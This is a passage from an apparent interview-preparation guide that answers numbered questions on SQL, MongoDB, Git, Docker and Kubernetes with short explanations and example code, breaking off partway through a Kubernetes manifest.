🔗 **Likely follow-up:** Why can MySQL let you use an alias in **HAVING** when the standard says no?

81

What is the difference between **WHERE** and **HAVING** ?

SQL Easy 🔥🔥 #aggregation #basics

**WHERE** filters **rows** before grouping. **HAVING** filters **groups** after **GROUP BY** has run.

So aggregates like **COUNT(\*)** or **AVG(salary)** can only appear in **HAVING**, because they do not exist until the groups are built.

- Put every condition that does not need an aggregate in **WHERE**: it **shrinks the data before grouping**, which is faster.
- **HAVING** without **GROUP BY** treats the whole table as one group.

### Example

```
DROP TABLE IF EXISTS emp;
DROP TABLE IF EXISTS dept;
CREATE TABLE dept (id INTEGER PRIMARY KEY, name TEXT NOT NULL);
CREATE TABLE emp (
  id INTEGER PRIMARY KEY,
  name TEXT NOT NULL,
  salary INTEGER NOT NULL,
  dept_id INTEGER REFERENCES dept(id),
  manager_id INTEGER REFERENCES emp(id)
);
INSERT INTO dept VALUES (1, 'Engineering'), (2, 'Sales'), (3, 'HR');
INSERT INTO emp VALUES
  (1, 'Asha', 150000, 1, NULL),
  (2, 'Ben', 120000, 1, 1),
  (3, 'Chen', 120000, 1, 1),
  (4, 'Dina', 90000, 2, 1),
  (5, 'Eva', 70000, 2, 4),
  (6, 'Farah', 65000, NULL, 4);

-- departments with 2+ people earning over 60k
SELECT dept_id, COUNT(*) AS people, AVG(salary) AS avg_salary
FROM emp
WHERE salary > 60000           -- row filter
GROUP BY dept_id
HAVING COUNT(*) >= 2;         -- group filter
```

82

## Explain the different types of joins.

SQL

Easy



#joins

- **INNER JOIN**: only rows that match in both tables.
- **LEFT JOIN**: every row from the left table, with **NULL**s where the right has no match.
- **RIGHT JOIN**: the mirror image; usually rewritten as a LEFT JOIN.
- **FULL OUTER JOIN**: all rows from both sides, matched where possible (not in MySQL; emulate with **LEFT JOIN UNION RIGHT JOIN**).
- **CROSS JOIN**: every combination (a Cartesian product).
- **SELF JOIN**: a table joined to itself with aliases.

A classic trick is the **anti-join**: **LEFT JOIN** and then **WHERE right.id IS NULL** finds rows with no match. Also remember that a filter on the right table placed in **WHERE** turns a LEFT JOIN back into an inner join; put it in the **ON** clause instead.

### Example

```
DROP TABLE IF EXISTS emp;
DROP TABLE IF EXISTS dept;
CREATE TABLE dept (id INTEGER PRIMARY KEY, name TEXT NOT NULL);
CREATE TABLE emp (
  id INTEGER PRIMARY KEY,
  name TEXT NOT NULL,
  salary INTEGER NOT NULL,
  dept_id INTEGER REFERENCES dept(id),
  manager_id INTEGER REFERENCES emp(id)
);
INSERT INTO dept VALUES (1, 'Engineering'), (2, 'Sales'), (3, 'HR');
INSERT INTO emp VALUES
  (1, 'Asha', 150000, 1, NULL),
  (2, 'Ben', 120000, 1, 1),
  (3, 'Chen', 120000, 1, 1),
  (4, 'Dina', 90000, 2, 1),
  (5, 'Eva', 70000, 2, 4),
  (6, 'Farah', 65000, NULL, 4);

SELECT e.name, d.name AS dept FROM emp e
INNER JOIN dept d ON d.id = e.dept_id;      -- Farah missing

SELECT e.name, d.name AS dept FROM emp e
LEFT JOIN dept d ON d.id = e.dept_id;      -- Farah with NULL

SELECT d.name FROM dept d
LEFT JOIN emp e ON e.dept_id = d.id
WHERE e.id IS NULL;                        -- anti-join: HR has nobody
```

🔗 Likely follow-up: What happens to a LEFT JOIN if you add `WHERE d.name = 'Sales'`?

83

Explain primary, foreign, unique and composite keys.

SQL

Easy



#keys #constraints

- **Primary key:** uniquely identifies each row; **unique and never NULL**; one per table. Usually a surrogate (**id**) column.
- **Foreign key:** a column that must match a key in another table, enforcing **referential integrity**. **ON DELETE CASCADE** / **SET NULL** define what happens when the parent row goes.

- **Unique key:** no duplicate values, but (in most databases) it allows `NULL`s, and a table can have many.
- **Composite key:** a key made of several columns, such as `(student_id, course_id)` in a join table.
- **Candidate key:** any minimal set of columns that could be the primary key; a **natural key** comes from real data (email), a **surrogate key** is generated.

#### Example

```
DROP TABLE IF EXISTS enrolment;
DROP TABLE IF EXISTS student;
CREATE TABLE student (
  id INTEGER PRIMARY KEY,
  email TEXT UNIQUE NOT NULL
);
CREATE TABLE enrolment (
  student_id INTEGER REFERENCES student(id) ON DELETE CASCADE,
  course TEXT,
  PRIMARY KEY (student_id, course)      -- composite key
);
INSERT INTO student VALUES (1, 'asha@x.io');
INSERT INTO enrolment VALUES (1, 'SQL'), (1, 'Git');
SELECT * FROM enrolment;
```

 **Likely follow-up:** Should you use a natural key or a surrogate key?

84

## Find the second (or Nth) highest salary.

`SQL` `Medium`   `#classic` `#window functions`

Ask first: should ties count once? Usually yes, so work on **distinct** salaries.

- **LIMIT/OFFSET:** `SELECT DISTINCT salary ... ORDER BY salary DESC LIMIT 1 OFFSET N-1`. Simple, but returns no row if N is too big.
- **Subquery:** `MAX(salary)` where salary is below the overall `MAX`. Works everywhere, but only nicely for N = 2.
- **DENSE\_RANK:** rank salaries and pick rank N. **The most flexible:** handles ties and extends to "Nth highest per department" with `PARTITION BY`.
- **Correlated subquery:** count how many distinct salaries are higher; that count equals N-1.

Use `DENSE_RANK`, not `RANK` or `ROW_NUMBER`, so tied salaries share a position.

### Example

```
DROP TABLE IF EXISTS emp;
DROP TABLE IF EXISTS dept;
CREATE TABLE dept (id INTEGER PRIMARY KEY, name TEXT NOT NULL);
CREATE TABLE emp (
  id INTEGER PRIMARY KEY,
  name TEXT NOT NULL,
  salary INTEGER NOT NULL,
  dept_id INTEGER REFERENCES dept(id),
  manager_id INTEGER REFERENCES emp(id)
);
INSERT INTO dept VALUES (1, 'Engineering'), (2, 'Sales'), (3, 'HR');
INSERT INTO emp VALUES
  (1, 'Asha', 150000, 1, NULL),
  (2, 'Ben', 120000, 1, 1),
  (3, 'Chen', 120000, 1, 1),
  (4, 'Dina', 90000, 2, 1),
  (5, 'Eva', 70000, 2, 4),
  (6, 'Farah', 65000, NULL, 4);

SELECT DISTINCT salary FROM emp ORDER BY salary DESC LIMIT 1 OFFSET 1;

SELECT MAX(salary) FROM emp WHERE salary < (SELECT MAX(salary) FROM emp);

SELECT DISTINCT salary FROM (
  SELECT salary, DENSE_RANK() OVER (ORDER BY salary DESC) AS rnk FROM emp
) WHERE rnk = 2;

SELECT DISTINCT salary FROM emp e1
WHERE 1 = (SELECT COUNT(DISTINCT salary) FROM emp e2 WHERE e2.salary >
e1.salary);
```

 Likely follow-up: Now return the top 2 earners in every department.

85

What are window functions? Compare `ROW_NUMBER`, `RANK` and `DENSE_RANK`.

SQL

Medium



#window functions

A **window function** computes a value over a set of related rows **without collapsing them** the way `GROUP BY` does. You define the window with `OVER (PARTITION BY ... ORDER BY ...)`.

For salaries 150, 120, 120, 90:

- **ROW\_NUMBER**: 1, 2, 3, 4 (always unique, ties broken arbitrarily)
- **RANK**: 1, 2, 2, 4 (ties share, then a gap)
- **DENSE\_RANK**: 1, 2, 2, 3 (ties share, no gap)

Use **ROW\_NUMBER** for de-duplication and "latest row per group", **DENSE\_RANK** for "Nth highest". You cannot filter on a window result in **WHERE**; wrap it in a subquery or CTE.

#### Example

```
DROP TABLE IF EXISTS emp;
DROP TABLE IF EXISTS dept;
CREATE TABLE dept (id INTEGER PRIMARY KEY, name TEXT NOT NULL);
CREATE TABLE emp (
  id INTEGER PRIMARY KEY,
  name TEXT NOT NULL,
  salary INTEGER NOT NULL,
  dept_id INTEGER REFERENCES dept(id),
  manager_id INTEGER REFERENCES emp(id)
);
INSERT INTO dept VALUES (1, 'Engineering'), (2, 'Sales'), (3, 'HR');
INSERT INTO emp VALUES
  (1, 'Asha', 150000, 1, NULL),
  (2, 'Ben', 120000, 1, 1),
  (3, 'Chen', 120000, 1, 1),
  (4, 'Dina', 90000, 2, 1),
  (5, 'Eva', 70000, 2, 4),
  (6, 'Farah', 65000, NULL, 4);

SELECT name, salary,
  ROW_NUMBER() OVER (ORDER BY salary DESC) AS row_num,
  RANK() OVER (ORDER BY salary DESC) AS rnk,
  DENSE_RANK() OVER (ORDER BY salary DESC) AS dense,
  RANK() OVER (PARTITION BY dept_id ORDER BY salary DESC) AS
rank_in_dept
FROM emp;
```

 **Likely follow-up:** How would you get the highest-paid employee in each department?

86

What is the difference between **DELETE**, **TRUNCATE** and **DROP**?

**SQL** **Easy**   #ddl #dml

- **DELETE** (DML) removes **rows**, optionally with a **WHERE**. It logs each row, fires triggers, can be rolled back, and keeps auto-increment counters.

- **TRUNCATE** (DDL) removes **all rows** at once by deallocating pages. Much faster, no **WHERE**, usually no row triggers, resets identity counters, and is blocked by referencing foreign keys.
- **DROP** removes the **table itself**: data, structure, indexes and constraints.

Rollback: **DELETE** always can inside a transaction. **TRUNCATE** can in PostgreSQL and SQL Server but auto-commits in MySQL and Oracle. SQLite has no **TRUNCATE**; a **DELETE** with no **WHERE** is optimised to do the same job.

87

## What is an index, how does it work, and when can it hurt?

SQL

Medium



#indexes #performance

An **index** is a separate sorted structure, usually a **B-tree** (B+ tree), that maps column values to rows. A lookup becomes  **$O(\log n)$  instead of a full table scan**, and range queries and **ORDER BY** can read it in order.

- **Clustered** index: the table rows are stored in that order (one per table; the primary key in InnoDB). **Non-clustered**: a separate structure pointing to rows.
- **Hash** indexes: equality only, no ranges.

Indexes hurt when:

- writes are heavy: every **INSERT** / **UPDATE** / **DELETE** must update each index
- the column has low selectivity (a boolean), so a scan is cheaper
- the query wraps the column in a function (**WHERE LOWER(email) = ...**) or starts a **LIKE** with **%**
- they take disk and memory

### Example

```
DROP TABLE IF EXISTS emp;
DROP TABLE IF EXISTS dept;
CREATE TABLE dept (id INTEGER PRIMARY KEY, name TEXT NOT NULL);
CREATE TABLE emp (
  id INTEGER PRIMARY KEY,
  name TEXT NOT NULL,
  salary INTEGER NOT NULL,
  dept_id INTEGER REFERENCES dept(id),
  manager_id INTEGER REFERENCES emp(id)
);
INSERT INTO dept VALUES (1, 'Engineering'), (2, 'Sales'), (3, 'HR');
INSERT INTO emp VALUES
  (1, 'Asha', 150000, 1, NULL),
  (2, 'Ben', 120000, 1, 1),
  (3, 'Chen', 120000, 1, 1),
  (4, 'Dina', 90000, 2, 1),
  (5, 'Eva', 70000, 2, 4),
  (6, 'Farah', 65000, NULL, 4);
CREATE INDEX idx_emp_salary ON emp(salary);

EXPLAIN QUERY PLAN SELECT name FROM emp WHERE salary > 100000; -- uses
the index
EXPLAIN QUERY PLAN SELECT name FROM emp WHERE salary + 0 > 100000; --
expression: full scan
```

? Likely follow-up: Why might the database ignore an index you created?

88

Explain normalisation: 1NF, 2NF, 3NF and BCNF. When do you denormalise?

SQL

Medium



#design #normalisation

**Normalisation** organises tables to remove redundancy, so each fact is stored once and update anomalies disappear.

- **1NF**: atomic values, no repeating groups or comma-separated lists.
- **2NF**: 1NF, and every non-key column depends on the **whole** key (matters for composite keys).
- **3NF**: 2NF, and no **transitive** dependency: non-key columns depend only on the key, not on another non-key column (dept\_name belongs in dept, not emp).
- **BCNF**: every determinant is a candidate key; a stricter 3NF.

Summary: the key, the whole key, and nothing but the key.

**Denormalise** deliberately for read-heavy workloads, reporting, or to avoid expensive joins: store a cached total or duplicate a name. You trade write complexity and consistency risk for read speed.

? Likely follow-up: Give an example of an update anomaly.

89

## What does ACID mean?

SQL

Easy



#transactions

ACID is the set of guarantees a transaction gives:

- **Atomicity:** all statements succeed or none do. A failed bank transfer never debits one account without crediting the other.
- **Consistency:** a transaction takes the database from one valid state to another; constraints, keys and checks always hold.
- **Isolation:** concurrent transactions do not see each other's half-finished work (how strictly depends on the isolation level).
- **Durability:** once committed, data survives a crash, thanks to the write-ahead log.

In SQL: **BEGIN**, then your statements, then **COMMIT**, or **ROLLBACK** to undo everything.

### Example

```
DROP TABLE IF EXISTS account;
CREATE TABLE account (id INTEGER PRIMARY KEY, balance INTEGER CHECK
(balance >= 0));
INSERT INTO account VALUES (1, 100), (2, 50);

BEGIN;
UPDATE account SET balance = balance - 30 WHERE id = 1;
UPDATE account SET balance = balance + 30 WHERE id = 2;
COMMIT;

BEGIN;
UPDATE account SET balance = 0 WHERE id = 2;
ROLLBACK;                                -- undo: balance is still 80
SELECT * FROM account;
```

## What is MongoDB? Explain documents, collections and BSON.

MongoDB

Easy



#basics #bson

MongoDB is a **document database**: it stores data as JSON-like documents instead of rows in tables.

- A **document** is one record: a set of field/value pairs that can contain nested objects and arrays.
- A **collection** is a group of documents, like a table, but with **no enforced schema** by default: documents can have different fields.
- A **database** holds collections.

Documents are stored as **BSON** (Binary JSON). It is faster to scan than text JSON and adds types JSON lacks: `ObjectId`, `Date`, `Decimal128`, 32/64-bit integers and binary data.

You can still enforce a structure with **schema validation** (`$jsonSchema`) or at the application level with Mongoose.

### Example

```
db.users.insertOne({
  name: 'Asha',
  email: 'asha@x.io',
  joined: new Date(),
  address: { city: 'Pune', zip: '411001' }, // nested document
  skills: ['node', 'react'],              // array
})
db.users.findOne({ 'address.city': 'Pune' })
```

## How is MongoDB different from a SQL database? When would you choose it?

MongoDB

Easy



#basics #design

Terms map roughly as table → collection, row → document, column → field, join → `$lookup` or embedding.

Key differences:

- **Schema**: flexible per document vs fixed columns.

- **Relations:** you usually model data around how it is read, embedding related data, instead of normalising and joining.
- **Scaling:** built-in sharding for horizontal scale; replica sets for availability.
- **Transactions:** single-document writes are always atomic; multi-document transactions exist (4.0+) but cost more.

Choose MongoDB for evolving or nested data, catalogues, content, events and fast iteration. Choose SQL for heavily relational data, complex ad-hoc reporting and many cross-entity transactions, like banking.

? **Likely follow-up:** Is MongoDB "schemaless"? What problems can that cause?

92

## Show the basic CRUD operations in MongoDB.

MongoDB Easy 🔥🔥 #crud

- **Create:** `insertOne`, `insertMany`
- **Read:** `find` (returns a cursor) and `findOne`, with a filter and an optional **projection** to choose fields
- **Update:** `updateOne`, `updateMany` with update operators, or `replaceOne` to swap the whole document
- **Delete:** `deleteOne`, `deleteMany`

Two details interviewers like:

- an update document needs operators like `$set`; without them you would replace the document
- `upsert: true` inserts the document if nothing matches

`findOneAndUpdate` updates and returns the document in one atomic step, which is useful for counters and queues.

### Example

```
db.products.insertMany([{ name: 'Pen', price: 10, stock: 100 }, { name: 'Book', price: 250, stock: 5 }])
db.products.find({ price: { $lt: 100 } }, { name: 1, _id: 0 })
db.products.updateOne({ name: 'Pen' }, { $inc: { stock: -1 } })
db.products.updateOne({ name: 'Ink' }, { $set: { price: 40 } }, { upsert: true })
db.products.deleteMany({ stock: 0 })
```

93

## What query operators do you use most?

MongoDB

Easy



#queries #operators

- **Comparison:** `$eq`, `$ne`, `$gt`, `$gte`, `$lt`, `$lte`, `$in`, `$nin`
- **Logical:** `$and` (implicit when you list several fields), `$or`, `$not`, `$nor`
- **Element:** `$exists`, `$type`
- **Array:** `$all`, `$size`, `$elemMatch`
- **Other:** `$regex`, `$expr` (compare two fields of the same document)

A common trap with arrays of objects: `{ 'items.qty': { $gt: 5 }, 'items.color': 'red' }` can match **two different array elements**. Use `$elemMatch` when both conditions must hold for the same element.

Dot notation (`'address.city'`) queries nested fields.

### Example

```
db.users.find({ age: { $gte: 18, $lt: 30 }, role: { $in: ['admin', 'editor'] } })
db.users.find({ $or: [{ city: 'Pune' }, { verified: true }] })
db.users.find({ phone: { $exists: false } })
db.orders.find({ items: { $elemMatch: { qty: { $gt: 5 }, color: 'red' } } })
db.budgets.find({ $expr: { $gt: ['$spent', '$limit'] } })
```

## Embedding vs referencing: how do you decide?

MongoDB

Medium



#modeling #design

**Embed** related data inside the parent document when it is read together, belongs to the parent, and is bounded in size: an order's line items, a user's addresses. One read, and the write is atomic.

**Reference** (store the other document's `_id`) when:

- the related data is large or **grows without limit** (a post's millions of comments)
- it is shared by many parents (a product used in many orders)
- it is often read or updated on its own

Rule of thumb: "data that is accessed together should be stored together". Hybrids are common: reference the author but embed a copy of the author's name to avoid a lookup (accepting that it can go stale).

### Example

```
// embedded: one read, atomic
{ _id: 1, customer: 'Asha', items: [{ sku: 'A1', qty: 2 }, { sku: 'B7',
qty: 1 }] }

// referenced: comments live in their own collection
{ _id: 'c91', postId: 1, by: 'Ben', text: 'Nice' }
```

**Likely follow-up:** What happens when an embedded array keeps growing?

## What is the aggregation pipeline? Explain the common stages.

MongoDB

Medium



#aggregation

The **aggregation pipeline** processes documents through a series of stages, each transforming the output of the previous one, like Unix pipes.

- `$match`: filter (like `WHERE`); put it **first so it can use indexes**
- `$group`: group by `_id` with accumulators like `$sum`, `$avg`, `$max`, `$push`
- `$project` / `$addFields`: reshape, rename or compute fields
- `$sort`, `$limit`, `$skip`
- `$unwind`: turn an array into one document per element

- `$lookup`: left outer join with another collection
- `$facet`, `$bucket`, `$count`, `$out` / `$merge` to save results

Each stage has a 100 MB memory limit unless `allowDiskUse` is on.

#### Example

```
// revenue per category for paid orders, top 5
db.orders.aggregate([
  { $match: { status: 'paid' } },
  { $unwind: '$items' },
  { $group: { _id: '$items.category', revenue: { $sum: { $multiply:
['$items.price', '$items.qty'] } } }, orders: { $sum: 1 } } },
  { $sort: { revenue: -1 } },
  { $limit: 5 },
  { $project: { _id: 0, category: '$_id', revenue: 1, orders: 1 } },
])
```

🔗 Likely follow-up: Why should `$match` come before `$group`?

96

## What types of indexes does MongoDB support?

MongoDB

Medium



#indexes #performance

Indexes are **B-trees** that let queries avoid a collection scan (`COLLSCAN`).

- **Single field:** `{ email: 1 }`; direction does not matter for one field.
- **Compound:** `{ status: 1, createdAt: -1 }`; order matters (prefix rule).
- **Multikey:** created automatically when the field is an array; one entry per element.
- **Text:** full-text search with `$text` (one per collection; Atlas Search is stronger).
- **Geospatial:** `2dsphere` for location queries.
- **Hashed:** for hashed shard keys.
- **TTL:** deletes documents automatically after a time on a date field (sessions, OTPs).
- Options: `unique`, `partial` (index only matching documents), `sparse`.

Every index slows writes and uses RAM, so index for your real queries only.

### Example

```
db.users.createIndex({ email: 1 }, { unique: true })
db.orders.createIndex({ userId: 1, createdAt: -1 })
db.articles.createIndex({ title: 'text', body: 'text' })
db.sessions.createIndex({ createdAt: 1 }, { expireAfterSeconds: 3600 })
// TTL
db.users.createIndex({ phone: 1 }, { partialFilterExpression: { phone: {
  $exists: true } } })
```

97

## What is Mongoose and why use it?

MongoDB

Easy



#mongoose #node

**Mongoose** is an ODM (Object Document Mapper) for Node.js on top of the MongoDB driver. It adds what MongoDB leaves to the application:

- **Schemas** with types, `required`, defaults, enums and custom validators
- **Models** with a clean query API (`User.find()`, `User.create()`)
- **Middleware** (hooks) such as `pre('save')`
- **populate()** for references
- virtuals, instance and static methods, `timestamps: true`

The trade-off: an extra layer, some overhead, and validators that **do not run on updates by default** (pass `runValidators: true`). For simple scripts or maximum performance, the native driver is fine.

### Example

```
const userSchema = new mongoose.Schema({
  name: { type: String, required: true, trim: true },
  email: { type: String, required: true, unique: true, lowercase: true },
  role: { type: String, enum: ['user', 'admin'], default: 'user' },
}, { timestamps: true })

const User = mongoose.model('User', userSchema)
const u = await User.create({ name: 'Asha', email: 'ASHA@x.io' })
```

98

## What is the difference between Git and GitHub?

Git &amp; GitHub

Easy



#basics

**Git** is a **distributed version control system**: a command-line tool that tracks changes to files. Every clone has the full history, so you can commit, branch and view history offline.

**GitHub** is a hosting service for Git repositories, plus collaboration features on top: pull requests and code review, issues, Actions (CI/CD), permissions, forks and releases.

GitLab, Bitbucket and Azure Repos are alternatives to GitHub; Git itself works the same with all of them.

99

## Explain the working tree, staging area and repository.

Git &amp; GitHub

Easy



#basics #staging

A file moves through three places:

- **Working tree**: the files you edit on disk.
- **Staging area (index)**: a snapshot of what will go into the next commit. `git add` copies changes here.
- **Repository** (`.git`): the committed history. `git commit` saves the staged snapshot as a new commit.

The staging area lets you **commit only part of your changes**, for example two separate commits from one editing session, or even single hunks with `git add -p`.

`git status` shows what is in each area; `git diff` shows unstaged changes and `git diff --staged` shows staged ones.

### Example

```
git status
git add src/app.ts      # stage one file
git add -p              # stage selected hunks interactively
git diff --staged       # what will be committed
git commit -m "feat: add login form"
```

100

## git fetch vs git pull?

Git &amp; GitHub

Easy



#remote

`git fetch` downloads new commits and branches from the remote and updates your **remote-tracking branches** (`origin/main`). It **never touches your working files** or your local branches, so it is always safe.

`git pull` is `fetch` followed by integrating the changes into your current branch: a **merge** by default, or a **rebase** with `git pull --rebase` (or `pull.rebase = true` in config).

Many developers prefer `fetch` first, look at what changed (`git log HEAD..origin/main`), then merge or rebase deliberately.

### Example

```
git fetch origin
git log --oneline HEAD..origin/main    # commits I don't have yet
git rebase origin/main                 # or: git merge origin/main
git pull --rebase                       # fetch + rebase in one step
```

101

## What is the difference between merge and rebase? When do you use each?

Git &amp; GitHub

Medium



#merge #rebase

Both integrate changes from one branch into another.

**Merge** creates a **merge commit** with two parents. History stays exactly as it happened and nothing is rewritten, but the log can get noisy.

**Rebase** replays your commits one by one on top of the target branch, creating **new commits with new hashes**. History becomes linear and easy to read, but it is rewritten.

Golden rule: **never rebase commits others have already pulled** (shared branches like `main`). Typical team practice:

- rebase your own feature branch onto `main` to stay up to date
- merge (or squash merge) the finished feature into `main` through a PR

### Example

```
# on feature branch
git fetch origin
git rebase origin/main      # replay my commits on the latest main
git push --force-with-lease  # history changed, so a normal push is
                             rejected

# alternative: merge main into my branch (no rewrite)
git merge origin/main
```

? Likely follow-up: Why is rebasing a shared branch dangerous?

102

## What is a merge conflict and how do you resolve it?

Git & GitHub

Easy



#merge #conflicts

A conflict happens when two branches change **the same lines of the same file** (or one edits a file the other deletes), so Git cannot decide which version wins.

Steps:

- Git stops and marks the files; `git status` lists them
- open each file, find the markers `<<<<<<<`, `=====`, `>>>>>>>`, and edit to the correct final code (often a combination of both)
- remove the markers, run the tests, then `git add` the file
- finish with `git commit` (merge) or `git rebase --continue` (rebase)

To give up, use `git merge --abort` or `git rebase --abort`. Reduce conflicts with small PRs, frequent syncing with `main`, and talking to whoever touches the same code.

### Example

```
git merge feature/login
# CONFLICT (content): Merge conflict in src/auth.ts
git status                # shows "both modified"
# edit src/auth.ts, remove <<<<<<< ===== >>>>>>> markers
git add src/auth.ts
git commit                # or: git rebase --continue
```

103

Explain `git reset` (soft, mixed, hard), `git revert` and `git restore`.

Git &amp; GitHub

Medium



#undo #reset

`git reset <commit>` moves the current branch pointer back:

- `--soft`: keeps the changes **staged**
- `--mixed` (default): keeps the changes in the working tree, **unstaged**
- `--hard`: **throws the changes away** (recoverable only through reflog, and uncommitted work is lost)

Reset rewrites history, so use it only on commits not yet pushed.

`git revert <commit>` creates a **new commit** that undoes an earlier one. History is kept, so it is the safe way to undo something already pushed to a shared branch.

`git restore` works on files: `git restore file` discards working-tree changes, `git restore --staged file` unstages.

#### Example

```
git reset --soft HEAD~1      # undo last commit, keep changes staged
git reset HEAD~1             # undo last commit, keep changes unstaged
git reset --hard HEAD~1      # undo last commit and discard changes
git revert a1b2c3d           # new commit that reverses a1b2c3d (safe
when pushed)
git restore --staged app.ts   # unstage
git restore app.ts           # discard local edits
```

🔗 Likely follow-up: You already pushed a bad commit to `main`. What do you do?

104

How do you undo the last commit?

Git &amp; GitHub

Easy



#undo

It depends on whether it has been pushed and what you want to keep.

#### Not pushed yet:

- fix the message or add a forgotten file: `git commit --amend`
- undo the commit but keep the work: `git reset --soft HEAD~1` (staged) or `git reset HEAD~1` (unstaged)
- throw it away completely: `git reset --hard HEAD~1`

**Already pushed to a shared branch:** `git revert HEAD`, which adds a new commit reversing it without rewriting history.

On your own pushed feature branch, you may reset and then `git push --force-with-lease`, as long as nobody else builds on it.

105

What is `git stash` and when would you use it?

Git & GitHub

Easy



#stash

`git stash` saves your uncommitted changes (staged and unstaged) on a stack and returns you to a clean working tree, without making a commit.

Typical case: you are halfway through a feature and need to switch branches to fix an urgent bug.

- `git stash push -m "wip login"` saves with a name; `-u` also includes untracked files
- `git stash list` shows saved entries
- `git stash pop` re-applies the latest and removes it; `git stash apply` keeps it on the stack
- `git stash drop` deletes one; `git stash branch new-branch` creates a branch from it

Pop can cause conflicts, just like a merge.

#### Example

```
git stash push -u -m "wip: login form"
git switch main && git switch -c hotfix/crash
# ...fix, commit, push...
git switch feature/login
git stash pop
```

106

Walk me through a pull request workflow and good code review practice.

Git & GitHub

Easy



#github #workflow

A typical flow:

- update `main`, create a branch: `feature/123-login`
- small, focused commits with clear messages

- push and open a **pull request** with a description: what, why, how to test, screenshots
- CI runs tests, lint and builds; reviewers comment, you push fixes
- once approved and green, merge (often **squash merge**), delete the branch, deploy

Good review practice: keep PRs small (a few hundred lines), review for correctness, design, readability, tests and security rather than style that a linter can catch, and **be kind and specific**. **Branch protection** rules on `main` can require reviews and passing checks before merging.

 **Likely follow-up:** How do you keep a long-running PR up to date with `main`?

107

## What is the difference between a container and a virtual machine?

Docker, CI/CD & Deployment

Easy



#basics #containers

A **virtual machine** emulates a whole computer: a hypervisor runs a full guest OS with its own kernel on top of the host. It is heavy (GBs), boots in tens of seconds, and gives strong isolation.

A **container** is just an isolated process that **shares the host kernel**. Linux **namespaces** give it its own view of processes, network and files; **cgroups** limit its CPU and memory. Images are MBs and containers start in milliseconds.

- Containers: dense, fast, portable, ideal for packaging apps
- VMs: stronger security boundary, can run a different OS kernel (Windows on Linux)

In practice containers usually run **inside** cloud VMs.

 **Likely follow-up:** How can Docker run Linux containers on a Mac?

108

## What is the difference between a Docker image and a container?

Docker, CI/CD & Deployment

Easy



#basics #images

An **image** is a read-only template: a stack of filesystem layers plus metadata (default command, env, exposed ports). You build it from a Dockerfile and push it to a registry.

A **container** is a **running instance of an image**. Docker adds a thin writable layer on top, so many containers can share one image. Anything written inside the container is lost when it is removed, unless it goes to a volume.

Think of it like a class (image) and objects (containers).

#### Example

```
docker build -t myapp:1.0 .           # Dockerfile -> image
docker images                         # list images
docker run -d --name web -p 8080:3000 myapp:1.0 # image -> container
docker ps                             # running containers
docker exec -it web sh                # shell inside it
docker rm -f web                      # container gone, image stays
```

109

## Walk through the common Dockerfile instructions.

Docker, CI/CD & Deployment

Easy



#dockerfile

- **FROM**: the base image, always first
- **WORKDIR**: sets (and creates) the working directory
- **COPY** / **ADD**: put files into the image
- **RUN**: executes a command **at build time** and saves the result as a new layer
- **ENV** / **ARG**: runtime env vars vs build-time variables
- **EXPOSE**: documents the port (it does not publish it)
- **USER**: which user later instructions and the container run as
- **CMD** / **ENTRYPOINT**: what runs when the container starts

Only **RUN**, **COPY** and **ADD** create filesystem layers; the rest add metadata.

#### Example

```
FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --omit=dev
COPY . .
ENV NODE_ENV=production
EXPOSE 3000
USER node
CMD ["node", "server.js"]
```

Likely follow-up: Why copy `package.json` before the rest of the source?

110

**CMD vs ENTRYPOINT ?**

Docker, CI/CD &amp; Deployment

Medium



#dockerfile

Both define what runs when the container starts.

- **ENTRYPOINT** is the **fixed executable**. Arguments to `docker run` are appended to it.
- **CMD** gives **default arguments** (or a default command). Anything after the image name in `docker run` replaces it.

Used together, **ENTRYPOINT** is the program and **CMD** is its **overridable default args**.

Prefer the **exec form** (`["node", "app.js"]`) over the shell form (`node app.js`): with the shell form your process runs under `/bin/sh`, is not PID 1, and does not receive **SIGTERM**, so graceful shutdown breaks.

**Example**

```
FROM alpine:3.20
ENTRYPOINT ["ping", "-c", "3"]
CMD ["localhost"]

# docker run img          -> ping -c 3 localhost
# docker run img google.com -> ping -c 3 google.com
# docker run --entrypoint sh img -> override the entrypoint
```

111

**How do image layers and the build cache work? How should you order instructions?**

Docker, CI/CD &amp; Deployment

Medium



#dockerfile #performance

Each **RUN**, **COPY** and **ADD** produces a **layer**. On rebuild Docker reuses a cached layer if the instruction and its inputs (file checksums for **COPY**) are unchanged. Once one layer changes, **every layer after it is rebuilt**.

So order from **least to most frequently changing**:

- base image and system packages first
- copy only the dependency manifest, install dependencies
- copy the source code last

Then editing source code skips the slow `npm install`. Also combine related commands in one **RUN** and clean up in the same step (`apt-get install ... && rm -rf`

`/var/lib/apt/lists/*`), because files deleted in a later layer still take space in the earlier one.

#### Example

```
# Bad: any code change re-runs npm ci
COPY . .
RUN npm ci

# Good: npm ci is cached until package files change
COPY package.json package-lock.json ./
RUN npm ci
COPY . .
```

112

## What is a multi-stage build and why use it?

Docker, CI/CD & Deployment

Medium



#dockerfile #image size

A multi-stage Dockerfile has several `FROM` stages. You build in a fat stage (compilers, dev dependencies, source) and then `COPY --from=build` only the output into a small runtime stage.

Benefits:

- **much smaller final image** (often 1 GB down to under 150 MB)
- smaller attack surface: no compilers, no dev dependencies, no source
- one Dockerfile for build and run, no separate build scripts

Stages can also be targeted ( `docker build --target test` ) to run tests in CI.

#### Example

```
FROM node:20-alpine AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build && npm prune --omit=dev

FROM node:20-alpine
WORKDIR /app
COPY --from=build /app/node_modules ./node_modules
COPY --from=build /app/dist ./dist
USER node
CMD ["node", "dist/server.js"]
```

113

### What is Kubernetes? Explain pod, deployment and service.

Docker, CI/CD & Deployment

Medium



#kubernetes #orchestration

Kubernetes is a **container orchestrator**: you declare the desired state in YAML and it keeps reality matching it across a cluster (scheduling, restarts, scaling, rolling updates, service discovery).

- **Pod**: the smallest unit; one or more containers sharing a network IP and volumes. Pods are disposable.
- **Deployment**: manages a ReplicaSet to keep N identical pods running, and does **rolling updates and rollbacks**.
- **Service**: a stable virtual IP and DNS name that load-balances to the matching pods (pods come and go, their IPs change). Types: **ClusterIP**, **NodePort**, **LoadBalancer**.
- **Ingress**: HTTP routing from outside (host/path rules, TLS).

Also: ConfigMap/Secret for config, HPA for autoscaling.

### Example

```
apiVersion: apps/v1
kind: Deployment
metadata: { name: api }
spec:
  replicas: 3
  selector: { matchLabels: { app: api } }
  template:
    metadata: { labels: { app: api } }
    spec:
      containers:
        - name: api
          image: registry.example.com/api:1.4.2
          ports: [{ containerPort: 3000 }]
---
apiVersion: v1
kind: Service
